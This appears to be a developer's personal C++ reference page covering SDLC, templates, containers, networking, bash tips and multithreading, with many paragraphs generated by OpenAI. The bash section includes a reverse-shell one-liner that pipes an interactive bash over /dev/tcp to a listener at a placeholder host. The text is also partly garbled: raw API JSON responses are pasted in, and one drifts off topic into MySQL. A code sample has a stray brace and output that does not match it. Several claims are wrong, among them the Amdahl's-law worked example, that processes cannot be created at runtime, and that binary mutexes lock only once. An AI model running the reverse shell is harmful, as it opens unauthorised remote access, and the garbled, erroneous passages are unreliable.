Teach yourself C++ in 45 years

Forward

An ode to C++

Let’s start with a haiku written by a computer.

Code runs swiftly,
Syntax rules must be followed,
C++ is complex.

This reference is a distillation of 15+ years of online logbook notes into only the essentials that have continued to remain relevant as a senior software developer today. Just for fun – and where the topic is readily available or established – I have reached out to OpenAI to provide a paragraph or two. Consequently, the exact content and the chapter order will vary each night. Hopefully this will keep repeat visits interesting and also prevents me focusing all my attention on the first few chapters.

If time is tight, try the random daily chapter. And you can also raise a ticket on this repo.

The Software Development Life cycle (SDLC)

Waterfall versus agile

Construction of a building is often used to describe the software design process. But the analogy breaks down the building designer only has one attempt to compile the building. You can’t swap out the foundation halfway through.

Actually, in Royce’s later revisions of the model, he stated that the whole process should be done “twice if possible”.

Software validation versus verification

Validation is concerned with checking that the system will meet the customer’s actual needs. Verification will help to determine whether the software is of high quality, but it will not ensure that the system is useful.

Verification is objective (quality), validation is subjective (customer needs).

Validation is the process of checking whether the specification captures the customer’s needs, while verification is the process of checking that the software meets the specification.

See difference between verification and validation.

Waterfall sequence

• Conception
• Initiation
• Analysis
• Design
• Construction
• Testing
• Implementation
• Maintenance

RADCTDM

• Requirements capture
• Analysis
• Design
• Coding
• Testing
• Deploy
• Maintain

Advantages

• The waterfall methodology stresses meticulous record keeping. Having such records allows for the ability to improve upon the existing program in the future.
• With the waterfall methodology, the client knows what to expect. They’ll have an idea of the size, cost, and timeline for the project. They’ll have a definite idea of what their program will do in the end.
• In the case of employee turnover, waterfall’s strong documentation allows for minimal project impact.

Disadvantages

• You don’t know if you really need something until you use it to do a job.
• Once a step has been completed, developers can’t go back to a previous stage and make changes.
• Waterfall methodology relies heavily on initial requirements. However, if these requirements are faulty in any manner, the project is doomed.
• If a requirement error is found, or a change needs to be made, the project has to start from the beginning with all new code.
• The whole product is only tested at the end. If bugs are written early, but discovered late, their existence may have affected how other code was written. Additionally, the temptation to delay thorough testing is often high, as these delays allow short-term wins of staying on-schedule.
• The plan doesn’t take into account a client’s evolving needs. If the client realizes that they need more than they initially thought, and demand change, the project will come in late and impact budget.

When should you use waterfall methodology?

• When there is a clear picture of what the final product should be. I think software engineers work better within an Agile framework. The short bursts of work help you keep your focus but I think the empowerment is where you see the difference in peoples’ behaviours.
• When clients won’t have the ability to change the scope of the project once it has begun.
• When definition, not speed, is key to success.

Agile

Stop doing the things that nobody wants

• TDD - Test driven design
• BDD - behavioural driven design
• CI - continuous integration
• CD - continuous deployment

BDD

What to call your test is easy – it’s a sentence describing the next behaviour in which you are interested. How much to test becomes moot – you can only describe so much behaviour in a single sentence. When a test fails, simply work through the process described above – either you introduced a bug, the behaviour moved, or the test is no longer relevant.

• Given some initial context (the givens)
• When an event occurs
• Then ensure some outcomes

Resources

• Introducing BDD
• Translating TDD to BDD

TDD

Test-driven development (TDD) is a software development process that relies on the repetition of a short development cycle: requirements are turned into specific test cases, then the software is improved to pass the new tests, only. This is opposed to software development that allows software to be added that is not proven to meet requirements.

As a [X] I want [Y] in order to [Z]

Title: Customer withdraws cash

• As a customer,
• I want to withdraw cash from an ATM,
• so that I don’t have to wait in line at the bank.

Scenario 1: Account is in credit

• Given the account is in credit
• And the card is valid
• And the dispenser contains cash
• When the customer requests cash
• Then ensure the account is debited
• And ensure cash is dispensed
• And ensure the card is returned

Resources

• Try this annoying C++ quiz!

What are the most difficult concepts in computer science?

• Algorithms
• Data Structures
• Operating Systems
• Networking
• Artificial Intelligence
• Computer Security
• Compiler Design
• Parallel and Distributed Computing
• Software Engineering
• Database Design and Management

C++ function parameters

For simple readonly types, pass by const value.

void func(const int p) {
}

For large readonly types – i.e., larger than a pointer – pass by const reference. You should also consider if the type is trivially copyable: requiring a shallow or deep copy.

void func(const big_type& p) {
}

If the first thing you do is make a copy, pass by non-const value.

void func(int p) {
}

If you want to modify the caller’s copy, pass by non-const reference.

void func(int& p) {
}

class or struct?

The only difference between a class and a struct is the default access level: public, protected, private.

But typically a struct is used for “plain old data” or memory-mapped data where you don’t want the members to align in a predictable way (virtuals/inheritance adds the complication of a vtable pointer.)

Either way, you can test your assertions at compile time with static_assert and the type traits header.

struct A {
  // public: <-- default for structs
  int x_;
};

If the data are constrained by an invariant – i.e., not all values are valid – use a class.

class B {
  private: // <-- default for classes
  int x_; // must be between 0-1000
};

Template metaprogramming

“Generic programming is why we can’t have nice things” – Andrei Alexandrescu

• Move computations from run-time to compile-time, with run-time performance benefits
• constexpr – find undefined behaviour at compile time
• The template rabbit hole goes deep!

Template metaprogramming is a technique used in C++ to perform compile-time computation and code generation. It involves creating generic templates that can be instantiated with different types and values to produce code specific to those types and values. This allows for the creation of highly optimized and flexible code, as well as the ability to perform complex computations at compile time.

The process of template metaprogramming involves using templates to perform calculations and generate code at compile time, rather than at runtime. This is achieved through the use of template parameters, which can be types or values. These parameters are used to define the behavior and structure of the template, allowing for different behavior and code to be generated based on the values passed in.

One of the key features of template metaprogramming is the ability to perform compile-time computation. This means that the code generated by the templates is evaluated and executed by the compiler, rather than at runtime by the program. This can result in significant performance improvements, as the code is already generated and optimized before the program is even run.

Template metaprogramming is often used to implement data structures and algorithms, as well as to enable advanced features such as type traits, which allow for the inspection and manipulation of types at compile time. It also enables the creation of generic code that can be used with different types, reducing the need for code duplication.

However, template metaprogramming can be complex and difficult to understand, as it involves using C++ template syntax in non-traditional ways. It also relies heavily on the compiler’s ability to optimize the generated code, which can vary between different compilers.

Despite these challenges, template metaprogramming is a powerful tool that allows for the creation of highly efficient and flexible code. It is widely used in libraries and frameworks, and its popularity continues to grow as developers seek to improve the performance and capabilities of their code.

Templates in the C++ Standard Library are used to create generic data types and functions that can work with multiple data types. This allows for code reuse and efficient algorithm design.

One of the main uses of templates in the C++ Standard Library is to create container classes, such as vectors, lists, and maps. These containers can hold objects of any data type, making them flexible and versatile. The implementation of these containers is based on templates, which allows them to work with any data type without the need for separate implementations for each data type.

Templates are also used to create algorithms, such as sorting, searching, and manipulating data in containers. These algorithms are designed to work with any data type, again increasing code reuse and flexibility.

The C++ Standard Library also includes function templates, which allow for the creation of generic functions that can work with different data types. For example, the "find" function in the header can be used to search for a specific element in a container regardless of the data type it contains.

Templates are also used in the creation of smart pointers, such as unique_ptr and shared_ptr, which provide memory management for dynamically allocated objects. These smart pointers use templates to work with different data types, making them versatile and efficient.

In summary, templates in the C++ Standard Library allow for the creation of generic data types and functions that can work with any data type, promoting code reuse and efficient algorithm design.

SFINAE

SFINAE (Substitution Failure Is Not An Error) is a principle in C++ that allows a template to be instantiated with a certain type only if the operations and expressions used in the template are valid for that type. If the substitution of a type fails due to an invalid operation or expression, instead of throwing an error, the compiler simply removes that template from the overload resolution process and continues with the next one. This allows for more flexibility in template programming and allows the compiler to choose the most appropriate template for a given type. SFINAE is often used in conjunction with template metaprogramming to create more powerful and flexible templates.

Binary structure

See Linux Debuginfo Formats - DWARF, ELF, dwo, dwp - What are They All? - Greg Law - CppCon 2022.

1. Header: This segment contains information about the executable, such as its entry point, architecture, and section layout.

2. Text or Code: This segment contains the actual executable code, which is typically machine code instructions that will be executed by the processor.

3. Data: This segment contains initialized global and static variables used by the program. This can include both data and read-only data.

4. BSS (Block Started by Symbol): This segment contains uninitialized global and static variables. Unlike the Data segment, this segment does not take up space in the executable file but is allocated when the program is loaded into memory.

5. Stack: This segment is used for local variables, function parameters, and return addresses. It grows and shrinks dynamically as the program executes.

6. Heap: This segment is used for dynamically allocated memory, such as through functions like malloc() or new(). It also grows and shrinks as needed during program execution.

7. Import Table: This segment contains references to external functions and libraries that the program needs to execute.

8. Export Table: This segment contains information about functions and symbols that can be accessed by other programs.

9. Resources: This segment contains data such as images, icons, and other resources that are used by the program.

10. Relocation Table: This segment contains information about memory addresses that need to be modified if the program is loaded into a different memory location than the one it was compiled for.

11. Debug Information: This segment contains information used for debugging the program, such as symbols and line numbers.

12. Exception Handling: This segment contains information and code for handling exceptions that may occur during program execution.

13. Dynamic Linking: This segment contains information and code for dynamically linking to libraries and other external resources during program execution.

The C++ Standard Library containers

1. Efficient storage and retrieval: The C++ Standard Library containers are designed to be highly efficient in terms of storage and retrieval of data. They use various data structures such as arrays, linked lists, and trees to store data in a way that allows for fast retrieval.

2. Easy to use: The containers are easy to use and come with a well-defined interface. This makes it easier for developers to write code that is easy to read and maintain.

3. Portability: The containers are part of the C++ Standard Library, which means they are supported by all major C++ compilers. This makes them highly portable, and code written using these containers can be easily compiled and run on any platform.

4. Dynamic resizing: Many of the containers, such as vector and deque, have the ability to dynamically resize themselves as more elements are added. This makes it easy to add and remove elements without worrying about managing memory allocation.

5. Type safety: The containers are type-safe, which means they ensure that only the correct data types are stored in them. This helps prevent errors and bugs in the code.

6. Built-in algorithms: The containers come with a set of built-in algorithms for performing common operations such as sorting, searching, and merging. This reduces the need for developers to write their own algorithms, saving time and effort.

7. Versatility: The C++ Standard Library containers offer a wide range of data structures that can be used for various purposes. This includes arrays, lists, maps, sets, and more, giving developers the flexibility to choose the most appropriate container for their specific needs.

8. High performance: The containers are highly optimized for performance, making them suitable for use in performance-critical applications. They are designed to minimize memory usage and provide fast access and manipulation of data.

9. Interoperability: The containers can be easily used with other C++ Standard Library components, such as iterators and algorithms, making it easy to integrate them into existing code.

10. Reliable and well-tested: The containers are part of the C++ Standard Library, which is a well-tested and reliable library that has been used for many years. This ensures that the containers are stable and free from bugs, making them a trustworthy choice for data storage and manipulation.

11. Vector

12. List

13. Deque

14. Array

15. Forward List

16. Set

17. Multiset

18. Map

19. Multimap

20. Unordered Set

21. Unordered Multiset

22. Unordered Map

23. Unordered Multimap

24. Stack

25. Queue

26. Priority Queue

27. Bitset

Categories of containers

Sequence containers store elements in a sequential manner and allow access to elements by their position in the container. This means that the elements are stored in a specific order and can be accessed by using an index or iterator. Examples of sequence containers include arrays, vectors, lists, and deques.

On the other hand, associative containers store elements in a non-sequential manner and allow access to elements by using a key rather than an index. This means that the elements are not stored in a specific order but are instead organized based on their key value. Examples of associative containers include sets, maps, and hash tables.

In summary, sequence containers use a sequential approach for storing and accessing elements, while associative containers use a non-sequential approach based on keys. The choice between these two types of containers depends on the specific needs and requirements of the program.

Choosing a container

• Number of elements
• Usage patterns: how often add/read/delete/traverse/rearrange?
• Where in the sequence will you add most often: end, beginning, middle?
• Do the elements need to be sorted? Do you even care if they’re sorted?
• Do you need to iterate over the elements in a particular order?

Parallelism

Typically parallelism makes you think “threads within a process” but it’s worth considering different points in the processing that could be executed/calculated in parallel.

Kinds of parallelism

• Bit level
• Instruction level (ILP)
• Data (DLP/SIMD)
• Task parallelism (TLP/MIMD)

The iron law of performance

See wikipedia.

time/program = instructions/program * clockCycles/instruction * time/clockCycles

Amdahl’s law

Amdahl’s law is a mathematical formula that describes the theoretical maximum speedup that can be achieved in a system with multiple processors. It was proposed by computer architect Gene Amdahl in 1967 and is widely used to analyze the performance of parallel computing systems.

The law states that the speedup of a system is limited by the portion of serial code that cannot be parallelized. In other words, even if multiple processors are added to a system, there will always be a limit to how much the overall performance can be improved. This is because there will always be some tasks that must be performed sequentially and cannot be split among multiple processors.

The formula for Amdahl’s law is as follows:

Speedup = 1/((1-P) + (P/N))

Where: - P is the proportion of the program that can be parallelized - N is the number of processors

This formula shows that as the number of processors (N) increases, the speedup will approach the theoretical maximum of 1/(1-P). However, this maximum speedup is never achieved in practice because there will always be some serial code that cannot be parallelized.

For example, if 80% of a program can be parallelized, the theoretical maximum speedup with 10 processors would be 1/(1-0.8) = 5, meaning the program could potentially run 5 times faster with 10 processors. However, in reality, the speedup achieved will always be less than 5 due to the 20% of the code that cannot be parallelized.

Amdahl’s law highlights the importance of identifying and optimizing the serial portions of a program to achieve the best possible performance in parallel computing systems.

It’s very tempting to optimise the parts your are familiar with, but it’s not obvious how much your efforts will benefit the overall process. Spend your time on the bottlenecks.

• YouTube/MIT - parallel processing
• SSE and AVX
• Moore’s law hits the roof
• Accelerated Massive Parallelism
• Pluralsight - High-performance Computing in C++

SOLID

1. Single Responsibility Principle (SRP): A class should have only one reason to change.
2. Open/Closed Principle (OCP): Software entities (classes, modules, functions, etc.) should be open for extension, but closed for modification.
3. Liskov Substitution Principle (LSP): Subtypes should be substitutable for their base types.
4. Interface Segregation Principle (ISP): Clients should not be forced to depend on methods they do not use.
5. Dependency Inversion Principle (DIP): High-level modules should not depend on low-level modules. Both should depend on abstractions.

GRASP

Less common but another set of principles to consider.

{ “id”: “cmpl-BGD0YfSFFH4s0Vjh5lEWKzmXTorFx”, “object”: “text_completion”, “created”: 1743202950, “model”: “gpt-3.5-turbo-instruct:20230824-v2”, “choices”: [ { “text”: ”

1. Information expert: Each object should have the responsibility of managing its own data, rather than allowing other objects to access and modify its data.
2. Creator: Objects should be responsible for creating and containing other objects that are related to them.
3. High cohesion: Objects should have a clear and well-defined purpose, with all of its methods and attributes related to that purpose.
4. Low coupling: Objects should be loosely coupled and interact with each other through well-defined interfaces, reducing the dependencies between them.
5. Polymorphism: Objects should be able to respond to the same message in different ways, based on their specific implementation.
6. Protected variations: Objects should be designed in a way that allows for changes to one object without affecting other objects in the system.
7. Controller: Objects should be responsible for coordinating and controlling the flow of information between different objects.
8. Pure fabrication: Objects that do not naturally fit into the domain model should be created as separate objects, rather than being forced into existing objects.
9. Indirection: Objects should not directly depend on other objects, but instead use intermediate objects to mediate their interactions.
10. Controller-View-Model: Objects should be divided into three categories - controllers, views, and models - to separate the user interface, business logic, and data access logic.”, “index”: 0, “logprobs”: null, “finish_reason”: “stop” } ], “usage”: { “prompt_tokens”: 7, “completion_tokens”: 277, “total_tokens”: 284 } }

Networking

“Please Do Not Take Salami Pizza Away”

See OSI on Wikipedia.

Three way handshake

The TCP three way handshake is a process used to establish a reliable connection between two devices in a TCP/IP network. It is a three-step process that allows the two devices (usually a client and a server) to synchronize and establish a reliable connection before starting to exchange data.

Step 1: SYN (Synchronize)

The client initiates the connection by sending a SYN (synchronize) packet to the server. This packet contains a random sequence number that is used to identify the connection. This sequence number is important for establishing a reliable connection and ensuring that packets are received in the correct order.

Step 2: SYN-ACK (Synchronize-Acknowledgment)

Upon receiving the SYN packet, the server responds with a SYN-ACK (synchronize-acknowledgment) packet. This packet contains an acknowledgment number that is one greater than the sequence number received in the SYN packet. The server also generates its own random sequence number that will be used for the connection. At this point, the server has received the client’s request and is ready to establish a connection.

Step 3: ACK (Acknowledgment)

Finally, the client responds with an ACK (acknowledgment) packet. This packet contains an acknowledgment number that is one greater than the sequence number received in the SYN-ACK packet. This acknowledges the server’s response and completes the three-way handshake. The client and server can now exchange data over the established connection.

Once the three-way handshake is complete, the connection is established and the devices can start sending and receiving data. If any of the three steps fail, the connection will not be established and the devices will try the handshake again until a successful connection is made.

SYN stands for “synchronise”.

=> SYN
<= SYN-ACK
=> ACK
=> HTTP (request)
<= ACK
<= HTTP (response)
=> ACK
=> FIN
<= FIN-ACK
=> ACK

bash

As a Linux developer you need a strong command line game. bash is ubiquitous, and a powerful language in itself, without resorting to something like Python.

git

git is awesome on the command line and pretty much essential. Use it to manage your chores. See how to undo almost anything with git.

Send a string to an IP/port

(echo hello; sleep 1) | telnet 127.0.0.1 80
echo hello > /dev/tcp/127.0.0.1/80
echo hello | nc localhost 80

Reverse shell

# server
nc -knvlp 3389

# client
bash -i >& /dev/tcp/server_ip/3389 0>&1

Target everything but one file

git add !(unit.md)

Print a random line from a file

shuf -n 1 readme.txt

Print epoch seconds

From bash 5.

echo $EPOCHREALTIME
1614870873.574544

echo $EPOCHSECONDS
1614870876

uptime

The three load average values are 1, 5 and 15 minutes.

uptime
15:29:28 up 20:23, 0 users, load average: 5.08, 1.49, 0.51

stress

Stress your system in different ways.

stress --cpu 8

Print number of processors

echo $(nproc)

Synonyms for localhost

localhost
127.0.0.1
127.0.0.2
127.0.0.3
127.1
0.0.0.0
0 # wut

Move a file out of the way

mv {,_}.bash_history

Repeat a command

watch -d ip a

pushd equivalent

I use this all the time. Rather than pushd and popd to navigate around the file system:

# Navigate to new dir
cd ~/deanturpin.gitlab.io/content/post

# Return whence you came
cd -

Multithreading

Multithreaded concepts are important: e.g., atomics, locks, issues with different designs, how to make things thread safe.

Why use multithreading? For performance and/or separation of concerns.

Reentrancy

A routine can be described as reentrant if it can be interrupted and not leave the operation partially complete: the invariants remain true.

Invariants

A good way to reason about your code is to consider the invariants that must be true at any given point in time. For a linked list, node A’s next pointer must point to node B and node B’s previous pointer must point to node A. However, if you are deleting an element from a linked list there will be a period where this invariant does not hold, and you must acquire mutual access to both nodes whilst the list is being updated; otherwise another thread may see the list in an invalid state.

OpenAI: Invariants refer to logical or mathematical statements that remain true throughout the execution of a program or a system. They are conditions or properties that are always expected to hold true, regardless of the state or input of the system. Invariants are essential for ensuring the correctness and stability of a program.

There are three main types of invariants: preconditions, postconditions, and loop invariants.

1. Preconditions: These are conditions that must be true before a certain operation or function can be executed. They define the initial state of the system and specify what inputs are valid for the operation to be performed.

2. Postconditions: These are conditions that must be true after an operation or function has been executed. They define the expected state of the system after the operation is completed.

3. Loop invariants: These are conditions that must be true before and after each iteration of a loop. They ensure that the loop will terminate and that the expected result will be achieved.

Invariants are important for program correctness because they help identify and prevent errors and bugs in the code. They serve as checks and balances to ensure that the program behaves as expected and that the data remains consistent. Invariants also help in debugging and troubleshooting by providing a reference point for identifying where and why a program may have gone wrong.

In summary, invariants are essential for maintaining the integrity and reliability of a program by ensuring that certain conditions remain true throughout its execution. They are an important concept in software engineering and are used to improve the quality and robustness of programs.

Idempotence

A function is idempotent if it can be applied multiple times without changing the outcome. E.g., repeatedly pressing the “on” switch of an “on/off” pair: it’s still on. See Wikipedia.

Race conditions

tl;dr “Race condition: an unfortunate order of execution causes undesirable behaviour.”

OpenAI: Race conditions in computer science refer to a situation where two or more processes or threads access a shared resource or data at the same time, leading to unexpected and potentially incorrect results. This can occur when the outcome of the execution depends on the order in which the processes or threads access the shared resource.

One example of a race condition is when two processes try to update the same data in a database simultaneously. If the first process reads the data, performs a calculation, and then updates the data, but the second process also reads the data before the first process finishes its update, the second process will use the old data and the results will be incorrect.

Another example is in multi-threaded programming, where multiple threads are running concurrently. If one thread modifies a variable while another thread is accessing or using that variable, the results can be unpredictable and may lead to errors or crashes.

Race conditions can also occur in distributed systems, where multiple nodes are accessing and updating the same data. If proper synchronization mechanisms are not in place, conflicting updates can occur and lead to incorrect data.

The occurrence of race conditions is often unpredictable and difficult to detect, making them a common source of bugs and errors in computer programs. They can be particularly problematic in real-time or safety-critical systems, where incorrect results can have serious consequences. Proper synchronization and handling of shared resources is crucial in preventing race conditions in computer science.

Considerations

• Ensure critical sections are as small as possible
• Only a problem for multiple writers (multiple readers OK)
• Too few threads: algorithm is sub-optimal
• Too many threads: overhead of creating/managing and partitioning the data is greater than processing advantage; software threads outnumber the available hardware threads and the OS must intervene
• Data races, deadlocks and livelocks – unsynchronised access to shared memory can introduce race conditions and undefined behaviour (program results depend non-deterministically on the relative timings of two or more threads)
• Threads versus processes
• STO: strict timestamp ordering (younger transactions wait for older transactions)

Deadlocks and livelocks

See the Dining philosophers problem.

A real world example: Ken and Barbie walk over to the barbecue. Ken grabs the last remaining sausage and attempts to acquire the hot sauce; meanwhile, Barbie has already secured the hot sauce and is waiting for the sausage to become available. A sausage cannot be enjoyed without hot sauce, so neither can proceed and remain stuck in a deadlock indefinitely.

A livelock occurs when measures are taken to avoid a deadlock, but the measures themselves do not resolve the conflict. For example, Ken and Barbie both agree to put down their respective items and try again; however, they both pick up the same item agains and the deadlock continues.

OpenAI: Both deadlocks and livelocks are situations that occur in multi-threaded programs where threads are unable to continue executing properly. These situations can significantly impact the performance and functionality of the program.

Deadlock: - A deadlock is a situation where two or more threads are blocked and unable to proceed because they are waiting for each other to release resources. - In other words, each thread is holding a resource that the other thread needs, and neither thread can continue until the other releases the resource. - This creates a circular dependency and the threads are stuck in a state of waiting indefinitely. - In a deadlock, the program may appear to be frozen or unresponsive, as none of the threads can make any progress. - Deadlocks can occur in various scenarios, such as when multiple threads are trying to access shared resources or when a thread is waiting for a lock that is already held by another thread.

Livelock: - A livelock is a situation where two or more threads are stuck in a loop, constantly trying to acquire a resource that is currently unavailable. - Unlike a deadlock, in a livelock, the threads are not blocked, but they are unable to make any progress. - In a livelock, the threads may appear to be active and running, but they are not able to complete their tasks. - Livelocks can occur when two threads are trying to be polite and give way to each other, but end up stuck in a loop instead. - Livelocks can also occur in distributed systems when multiple nodes are constantly trying to communicate with each other but are unable to establish a connection.

In summary, both deadlocks and livelocks are situations where threads are unable to continue executing, but they differ in the way they are caused and how they manifest. Deadlocks occur due to resource dependencies, while livelocks occur due to conflicting actions by threads.

Avoiding deadlocks

Run your code on different numbers of CPUs; it’s interesting how the bottlenecks move around depending on the available resources.

OpenAI: { “id”: “cmpl-BGD0qQc5UUP0LFgEqTXyaXd52DyAn”, “object”: “text_completion”, “created”: 1743202968, “model”: “gpt-3.5-turbo-instruct:20230824-v2”, “choices”: [ { “text”: ” in MySQL 1. Use proper indexing: Make sure that all the tables involved in your queries have proper indexes on the columns used in joins, WHERE, ORDER BY, and GROUP BY clauses. This will help the database engine to execute the queries efficiently and avoid unnecessary locking.

2. Keep transactions short: Long-running transactions increase the chances of deadlocks. Try to keep transactions as short as possible and commit them as soon as they are no longer needed.

3. Use consistent transaction ordering: In a multi-user environment, it is important to ensure that transactions are executed in a consistent order. This will prevent conflicting transactions from acquiring locks on the same resources at the same time.

4. Use row-level locking: MySQL supports multiple types of locking, including table-level and row-level locking. Table-level locking can cause deadlocks if multiple transactions try to access different rows in the same table. Row-level locking allows transactions to lock only the rows they need, reducing the chances of deadlocks.

5. Use the correct isolation level: MySQL offers different isolation levels that control how transactions interact with each other. The most restrictive isolation level, SERIALIZABLE, ensures that transactions are executed in a serial order, preventing deadlocks. However, it can also impact performance. Choose the appropriate isolation level based on your application’s needs.

6. Avoid long-running queries: Long-running queries can hold locks on resources for an extended period, increasing the chances of deadlocks. Optimize your queries to run efficiently and avoid unnecessary locking.

7. Use a deadlock detection tool: MySQL has a built-in tool called SHOW ENGINE INNODB STATUS that can help detect deadlocks. This tool provides information about the current transactions and their locking status, helping you identify and resolve deadlocks.

8. Use retry logic: In case a deadlock does occur, you can use retry logic in your application to try the transaction again after a short delay. This can help resolve the deadlock and continue the execution of the transaction.

9. Monitor and tune your database: Regularly monitoring and tuning your database can help identify and resolve any performance issues that may lead to deadlocks. This includes monitoring for long-running queries, optimizing indexes, and adjusting the isolation level if necessary. “,”index”: 0, “logprobs”: null, “finish_reason”: “stop” } ], “usage”: { “prompt_tokens”: 5, “completion_tokens”: 446, “total_tokens”: 451 } }

See also

• Chandy–Misra–Haas algorithm resource model
• Wait-for graph
• Banker’s algorithm

Additionally

• Try to avoid calling out to external code while holding a lock
• If you ever need to acquire two locks at once, document the ordering thoroughly and make sure you always use the same order – or use std::scoped_lock
• Immutability is great for multithreading: immutable means thread safety (functional programming works well concurrently partly due to the emphasis on immutability)

Synchronising threads

OpenAI: Mutex and semaphore are both synchronization mechanisms used in multi-threaded or multi-process environments to control access to shared resources. They both help to prevent race conditions, which can occur when multiple threads or processes attempt to access and modify the same resource at the same time.

1. Definition:

• Mutex, short for mutual exclusion, is a synchronization primitive that allows only one thread or process to access a shared resource at a time. It provides mutual exclusion by allowing only one thread to acquire the mutex lock at a time, while all other threads are blocked until the lock is released.
• Semaphore is a synchronization primitive that allows multiple threads or processes to access a shared resource at the same time, based on the value of a counter. It maintains a counter to control the access to the resource, and each thread or process must acquire a semaphore before accessing the resource. The counter is decremented when a thread acquires the semaphore and incremented when the thread releases the semaphore.

2. Usage:

• Mutex is typically used for protecting critical sections of code or shared resources that can only be accessed by one thread at a time. It is often used in situations where there is a possibility of data corruption or inconsistency if multiple threads access the same resource concurrently.
• Semaphore is commonly used for resource allocation, specifically when there is a limited number of resources available. It allows multiple threads or processes to access the resource, up to the limit set by the semaphore counter.

3. Types:

• Mutex has two types: binary and recursive. Binary mutexes can only be locked and unlocked once, while recursive mutexes can be locked multiple times by the same thread without causing a deadlock.
• Semaphore has two types: counting and binary. Counting semaphores can have a value greater than one, while binary semaphores only have two states: locked or unlocked.

4. Ownership:

• Mutex is owned by the thread that currently holds the lock. Only the thread that acquired the mutex can release it.
• Semaphore is not owned by any specific thread. Any thread can acquire or release the semaphore as long as the counter allows it.

5. Implementation:

• Mutex is usually implemented using hardware instructions, making it more efficient than semaphores.
• Semaphore can be implemented using either hardware or software, and the implementation can vary depending on the operating system.

6. Deadlock:

• Mutex can lead to a deadlock if a thread attempts to acquire the lock while it is already locked by another thread and the first thread does not release it.
• Semaphore can also cause a deadlock if the counter is not properly managed, leading to a situation where all threads are blocked from accessing the resource.

In summary, mutex and semaphore are both synchronization mechanisms that serve different purposes. Mutex is used for mutual exclusion and is usually more efficient, while semaphore is used for resource allocation and can allow multiple threads to access a resource. It is important to understand the differences between the two in order to choose the appropriate mechanism for a given situation.

• A mutex is a locking mechanism used to synchronize access to a resource
• A semaphore is signalling mechanism: “I am done, you can carry on”

See Mutex vs Semaphore.

This is getting into the weeds, but mutexes and the data they protect can happily be decalared consecutively in the code; so consider what this might mean when both mutex and data are in the same cache line.

Threads versus processes

tl;dr A thread is a branch of execution. A process can consist of multiple threads.

OpenAI: Threads and processes are two concepts in computer science that are used to manage the execution of programs. Both threads and processes are used to achieve multitasking, which allows multiple tasks to be executed simultaneously on a computer system.

Threads:

1. Definition: Threads are the smallest unit of execution within a process. They are also known as lightweight processes, as they share the same memory space and resources as the parent process.

2. Creation: Threads are created by the operating system within a process. Each process can have multiple threads, and these threads can be created and destroyed dynamically during the execution of the process.

3. Communication: Threads within the same process can communicate with each other through shared memory. This allows for efficient and fast communication as no data needs to be transferred between different processes.

4. Synchronization: Threads can synchronize with each other through various mechanisms, such as locks, semaphores, and barriers. This allows threads to coordinate their actions and avoid conflicts while accessing shared resources.

5. Resource sharing: Threads within the same process share the same resources, such as memory, files, and devices. This means that multiple threads can access the same resource simultaneously, which can improve performance.

Processes:

1. Definition: Processes are instances of programs that are being executed by the operating system. Each process has its own memory space and resources, and they are isolated from other processes.

2. Creation: Processes are created by the operating system when a program is launched. Unlike threads, processes cannot be created or destroyed dynamically during the execution of a program.

3. Communication: Processes can communicate with each other through inter-process communication mechanisms, such as pipes, sockets, and shared memory. This involves transferring data between different processes and can be slower compared to thread communication.

4. Synchronization: Processes do not share memory space and resources, so they cannot synchronize with each other directly. Inter-process communication mechanisms can be used to synchronize processes, but this can be slower compared to thread synchronization.

5. Resource sharing: Processes do not share resources with each other, so they must use inter-process communication mechanisms to share data and coordinate their actions. This can result in slower performance compared to threads.

In summary, threads and processes are both used for multitasking, but they differ in their creation, communication, synchronization, and resource sharing mechanisms. Threads are lighter and more efficient compared to processes, but processes provide more isolation and security. Both threads and processes have their own advantages and are used in different scenarios depending on the requirements of the program.

Thread bests practice

• Don’t try to go lock-free unless you really have to: locks are expensive, but rarely the bottleneck
• Document the thread-safety of your types: most types don’t need to be thread-safe, they just need to not be thread hostile; i.e., “You can use them from multiple threads, but it’s your responsibility for taking out locks if you want to share them
• Don’t access the UI (except in documented thread-safe ways) from a non-UI thread
• Use locks when you access mutable shared data, both for reads and writes

References

• Thread safety
• Memory barrier
• The Amazing Performance of C++17 Parallel Algorithms, is it Possible?
• C++ Concurrency in Action

Data structures

It’s important to know the common data structures and their characteristics.

1. Arrays
2. Linked Lists
3. Stacks
4. Queues
5. Trees
6. Heaps
7. Hash Tables
8. Graphs
9. Sets
10. Maps
11. Tries
12. Priority Queues
13. Binary Search Trees
14. Red-Black Trees
15. B-Trees
16. AVL Trees
17. Skip Lists
18. Bloom Filters
19. Fenwick Trees
20. Segment Trees

std::vector

std::vector is the go-to container, so let’s give it some special attention. It has contiguous storage – therefore cache friendly – and uses the RAII paradigm: the data are created on the heap and the allocation and deallocation (new/delete) are handled for you. Interestingly, std::string exhibits many of the same characteristics, but it’s not quite containery enough to qualify.

How does my vector grow?

Estimate how many times the fax destructor is called below.

#include <iostream>
#include <vector>

auto x = 0uz;

int main() {
    struct fax {

        // Constructor and destructor
        fax() { std::cout << x << " ctor\n"; }
        ~fax() { std::cout << "\t" << x << " dtor\n"; }

        // Copy constructors
        fax(const fax&) { std::cout << x << " copy ctor\n"; };
        fax(fax&&) { std::cout << x << " move ctor\n"; };

        // Assignment constructors
        fax& operator=(const fax&) {
            std::cout << x << " copy assignment ctor\n";
            return *this;
        }
        fax& operator=(fax&&) {
            std::cout << x << " move assignment ctor\n";
            return *this;
        };

        const size_t id = x++;
    };

    std::vector<fax> y;

    // Reduce copies by allocating up front
    // y.reserve(3);

    for (size_t i = 0; i < 3; ++i) {
        y.push_back(fax{});
        std::cout << "-- capacity " << y.capacity() << " --\n";
    }

    // fax f1 = fax{};
    // fax f2 = std::move(fax{});
}
}

See the program output (below), note how the capacity is growing exponentially (doubling each time).

1 ctor
2 move ctor
    2 dtor
-- capacity 1 --
3 ctor
4 move ctor
5 copy ctor
    5 dtor
    5 dtor
-- capacity 2 --
6 ctor
7 move ctor
8 copy ctor
9 copy ctor
    9 dtor
    9 dtor
    9 dtor
-- capacity 4 --
    9 dtor
    9 dtor
    9 dtor

For each push we call the default constructor to create a temporary object and then call the copy constructor to populate the new element with its data… so far so good. But crucially, when the vector is resized we must also copy all of the existing elements into the new container. Not an issue for this simple case, but if the class is expensive to copy there could be trouble ahead; also, if there’s a bug in the copy constructor, we may be corrupting existing valid data simply by copying it around.

Binary search trees

Binary search trees have an amortized complexity of O(log n) unless the tree is unbalanced. Worst case, if the tree is unbalanced, then it is O(n). std::set and std::map are implemented using a red-black tree, a type of balanced binary search tree. C++23 introduces std::flat_map which is implemented using contiguous storage to make it more cache-friendly.

